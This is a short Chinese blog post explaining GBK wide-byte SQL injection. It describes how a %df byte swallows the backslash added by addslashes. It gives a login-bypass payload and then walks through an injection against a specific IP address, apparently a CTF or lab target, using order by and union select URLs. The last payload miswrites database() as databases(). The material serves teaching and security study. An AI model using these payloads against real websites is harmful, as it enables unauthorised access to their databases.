/*珍惜少年時博客 轉載請注明出處。*/
51cto關於寬字節介紹很好的一篇文章:http://www.2cto.com/article/201209/153283.html
關於寬字節注入的PPT:寬字節注入.PPT
測試代碼及數據庫出處(http://www.cnblogs.com/lcamry/articles/5625276.html):
寬字節注入原理:
GBK 占用兩字節
ASCII占用一字節
PHP中編碼為GBK,函數執行添加的是ASCII編碼,MYSQL默認字符集是GBK等寬字節字符集。
輸入%df和函數執行添加的%5C,被合並成%df%5C。由於GBK是兩字節,這個%df%5C被MYSQL識別為GBK。導致本應的%df\變成%df%5C。%df%5C在GBK編碼中沒有對應,所以被當成無效字符。
%DF’ :會被PHP當中的addslashes函數轉義為“%DF\'” ,“\”既URL里的“%5C”,那么也就是說,“%DF'”會被轉成“%DF%5C%27”倘若網站的字符集是GBK,MYSQL使用的編碼也是GBK的話,就會認為“%DF%5C%27”是一個寬字符。也就是“縗’”
例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
其對應的sql就是:
select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
以下是一次實例寬字節注入:
注入點:http://103.238.227.13:10083/index.php?id=1
提交 %bf’ 出現錯誤,由此可見存在寬字節注入。
http://103.238.227.13:10083/index.php?id=1%df' order by 2%23 ======>推出有兩個字段數 將中間段換做注入語句即可。

然后再將sql修改
http://103.238.227.13:10083/index.php?id=-10%df' union select 1,databases()%23
